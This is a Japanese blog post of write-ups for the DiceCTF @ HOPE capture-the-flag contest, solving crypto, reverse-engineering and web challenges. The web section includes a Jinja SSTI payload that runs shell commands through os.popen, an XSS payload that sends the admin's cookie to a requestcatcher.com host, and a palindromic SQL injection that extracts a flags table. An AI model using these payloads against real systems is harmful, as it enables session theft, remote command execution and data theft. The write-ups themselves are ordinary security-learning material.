はまやんはまやんはまやん

hamayanhamayan's blog

DiceCTF @ HOPE Writeups

CTFtime.org / DiceCTF @ HOPE

[crypto] obp

random.randrange(256)と1byte分の鍵が作られている。
鍵でxorして暗号文が作られているが、plaintextの先頭はフラグがhopeから始まると思うので、key = 0xba ^ ord('h')という感じで復元できる。
あとは1byteずつkeyでxorしてフラグを復元していこう。

from Crypto.Util.number import *

ciphertext = long_to_bytes(0xbabda2b7a9bcbda68db38dbebda68dbdb48db9b7aba18dbfb6a2aaa7a3beb1a2bfb7b5a3a7afd8)
key = 0xba ^ ord('h')

plaintext = ""
for c in ciphertext:
    plaintext += chr(c ^ key)
print(plaintext) # -> hope{not_a_lot_of_keys_mdpxuqlcpmegqu}

[crypto] pem

単に暗号化しているので、復号化すればいい。
PKCS#1 OAEP (RSA) — PyCryptodome 3.15.0 documentation
以上を参考に適当に復号スクリプトを書くとフラグが得られる

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

key = RSA.importKey(open('privatekey.pem').read())
cipher_rsa = PKCS1_OAEP.new(key)
flag = cipher_rsa.decrypt(open("encrypted.bin", "rb").read())

print(flag) # -> hope{crypto_more_like_rtfm_f280d8e}

[crypto] kfb

鍵は16bytes。暗号文は77bytesなので、平文も77bytesになる。

暗号化プロセスを見てみると、
encrypt(k, pt) = AES.ECB(k,k) ^ pt
という感じになっている。

自由入力に対して同じ暗号化プロセスを適用できるので、得られた暗号文に対して再度暗号化してみよう。

encrypt(k, encrypt(k, pt))
= AES.ECB(k,k) ^ encrypt(k, pt)
= AES.ECB(k,k) ^ AES.ECB(k,k) ^ pt
= pt

すると、ちょうどptに戻ってくれるので、これで復元していく。
入力値は1回で1BLOCK分(16bytes)しか暗号化してくれないので、先頭から順番に復号化していく。

from pwn import *
from Crypto.Util.number import *
from Crypto.Util.strxor import *

flag = b""

for i in range(77 // 16):
    with remote("mc.ax", 31968) as r:
        r.readuntil(b'> ')
        enc1_hex = r.readuntil(b'\n')[:-1]
        enc1 = long_to_bytes(int(enc1_hex, 16))
        r.sendlineafter(b"< ", enc1_hex[i * 32:])
        enc2 = long_to_bytes(int(r.readuntil(b'\n')[2:-1], 16))
        print(enc2)
        flag += enc2[:16]

print(flag) # -> b'hope{kfb_should_stick_to_stuff_he_knows_b3358db7e883ed54}\x07\x07\x07\x07\x07\x07\x07'

[misc] orphan

zipを回答すると、.gitファイルが大量に出てくる。
git reflogをしてみると最後のコミット以外にコミットがもう1つ見える。

$ git reflog
2ce03bc (HEAD -> main) HEAD@{0}: checkout: moving from flag to main
b53c9e6 HEAD@{1}: commit (initial): add flag
2ce03bc (HEAD -> main) HEAD@{2}: checkout: moving from flag to main
2ce03bc (HEAD -> main) HEAD@{3}: commit (initial): add foo

git show b53c9e6でコミット内容を見てみるとフラグがある。

hope{ba9f11ecc3497d9993b933fdc2bd61e5}

[rev] slices

コードを見ながら、slice構文に従って以下のように復元していく。

flag = '?'*32

starts = [0, 31, 5, 4, 3, 6, 7]
steps = [1, 1, 3, 4, 5, 3, 3]
patterns = ['hope{', '}', 'i0_tnl3a0', '{0p0lsl', 'e0y_3l', '_vph_is_t', 'ley0sc_l}']

for start, step, pattern in zip(starts, steps, patterns):
    for i in range(len(pattern)):
        flag = flag[0:start + i * step] + pattern[i] + flag[start + i * step + 1:]

print(f"[+] {flag}")

[rev] sequence

ghidraでCに戻して見てみよう。
check関数で判定されていて、判定が通ればフラグが表示される。
read_numbers関数で6つの数字を入力することができる。

  else if (buf[0] == 0xc) {
    for (i = 1; i < 6; i = i + 1) {
      iVar1 = buf[i + -1] * 3 + 7;
      uVar2 = (uint)(iVar1 >> 0x1f) >> 0x1c;
      if (buf[i] != (iVar1 + uVar2 & 0xf) - uVar2) {
        ret = 0;
        goto LAB_00101305;
      }
    }
    ret = 1;
  }

この辺りが判定部分になる。
これをもとに復元コードを書いて、出てきた数字を入れるとフラグが手に入る。

#include <iostream>
using namespace std;
 
int main() {
    int buf [6];
    buf[0] = 0xc;
    for (int i = 1; i < 6; i = i + 1) {
        int iVar1 = buf[i + -1] * 3 + 7;
        uint uVar2 = (uint)(iVar1 >> 0x1f) >> 0x1c;
        buf[i] = (iVar1 + uVar2 & 0xf) - uVar2;
    }
 
    for (int i = 0; i < 6; i = i + 1) {
        printf("%d\n", buf[i]);
    }
    return 0;
}
$ nc mc.ax 31973
input: 12 11 8 15 4 3
hope{definitely_solvable_with_angr}

[rev] super anti scalper solution 9000

ChromeのDevToolsを起動して、{}みたいなやつをクリックして整形する。
checkSolveというのがあるので内部をステップ実行していく。
適当にブレークして、if (n === o[ほにゃらら])のnには入力が入ってくるので、o[ほにゃらら]をConsoleで実行するとフラグが出てくる。

hope{sHoe_1ddbf55508afcc08_sold!}

[web] secure-page

Cookiesと記載があるので、Cookieを注意して見てみる。
GET /するとSet-Cookie: admin=falseと帰ってくる。
curl -b 'admin=true' https://secure-page.mc.ax/ | grep hopeでフラグゲット。

hope{signatures_signatures_signatures}

[web] reverser

ソースコードを見てみると、37行目のrender_template_stringに外部入力がそのまま渡されている。
SSTIで攻撃可能。

{{config}}で試すと500エラーになる。
あれ?
環境を作って動かしてログを見てみる…

output = }}gifnoc{{

あー。ちょうどいいので、}}gifnoc{{で試すとうまく動く。
問題名はそういうことね。

{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}
逆を投げるとflag-ccba9605-afeb-49a6-8aac-d56bac20705b.txtが得られるので、
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag-ccba9605-afeb-49a6-8aac-d56bac20705b.txt').read()}}
逆を投げるとフラグゲット

hope{cant_misuse_templates}

[web] flag-viewer

abcと入力するとadminしか見られないと言われる。
adminを入力しようとすると失敗するが、POST /flagに直接adminを送ってみると、フラグが得られる。
curl https://flag-viewer.mc.ax/flag -X POST -d "user=admin" -v
locationに/?message=hope%7Boops_client_side_validation_again%7Dと入っているので、実際にGETでアクセスしてもいいし、
適当に変換するとフラグが得られる

hope{oops_client_side_validation_again}

[web] pastebin

コードリーディングで気になる所

  • index.js
    • 22行目 GET /Cookieのerrorの内容がそのまま出力
    • 42行目 POST /newでhtmlタグを抑止
    • 50行目 GET /flashで入力をCookieのerrorに入れている

/flashを呼べば自動でXSSが発火しそう。
https://pastebin.mc.ax/flash?message=%3Cs%3Exss
としてみると発動している。よさそう。

<img src=1 onerror="window.location.href='https://xxxxxxxxx.requestcatcher.com/test?get='+document.cookie">という感じで発火させて抜き出す。
https://pastebin.mc.ax/flash?message=%3cimg%20src%3d1%20onerror%3d%22window.location.href%3d'https%3a%2f%2fxxxxxxxxx.requestcatcher.com%2ftest%3fget%3d'%2bdocument.cookie%22%3e
をadmin-botに投げるとrequestcatcher経由でフラグが得られる。

hope{the_pastebin_was_irrelvant}

[web] point

問題としてはjson{"what_point":"that_point"}を与えられればフラグが得られる。
Unicodeか?と思ったが、\もフィルタされている。

うーん、と思って探すと以下のような記事を見つける。
Goにおけるjsonの扱い方を整理・考察してみた ~ データスキーマを添えて
case-insensitiveっぽい。

{"What_point":"that_point"}のように入力を渡すとフラグが得られる。

hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}

[web] oeps

まずはコードリーディング。

  • app.py
    • テーブルflagsにフラグは格納されるが、どこからも参照されていない。SQL Injectionするんだろう。
    • 193行目 submissionがSQL文に入力されているが、特殊なフィルタリング。脆弱か
      • これにより、pendingテーブルにデータを格納可能
      • GET /で表示される

app.pyだけを読んで糸口が見えてきたので、server.pyは読まずに攻撃を開始する。
submissionは空白を取り除いた後、回文であることを判定している。
よって、回文であって、flagを持ってくるようなpayloadを持ってくればよさそう。

insert into pending (user, sentence) values ('%s', '%s');
という感じで最初の%sはtokenが入るので無理で、後半にflagを入れるようにして
insert into pending (user, sentence) values ('%s', '' || (select flag from flags)); -- ');
という形を目指す。
入力は' || (select flag from flags)); --となり、ハイフン以降はコメントになるので、ちょうどここを中心として、逆の文字を入れて最終的なpayloadは
' || (select flag from flags)); -- ;))sgalf morf galf tceles( || '
これをPOST /submitのsubmisson=にエスケープして入れればフラグが得られる。

hope{ecid_gnivlovni_semordnilap_fo_kniht_ton_dluoc}

終わりに

inspect-meがマジで何が起きているのかさっぱりわからなかった…
こういうのってなんかジャンル名ついてるんだろうか。
アンチデバッグというか、どういう次元の話なんだろう。

あと、revのときに「GLIBC_2.34がない」みたいなエラーが出たけど、どうしたらよかったんだろう。
discordではubuntu21.10を使ったらできたって書いてあったけど、バージョンからubuntuバージョンを逆算する方法もわからんし、もっと手軽な方法ないんかな。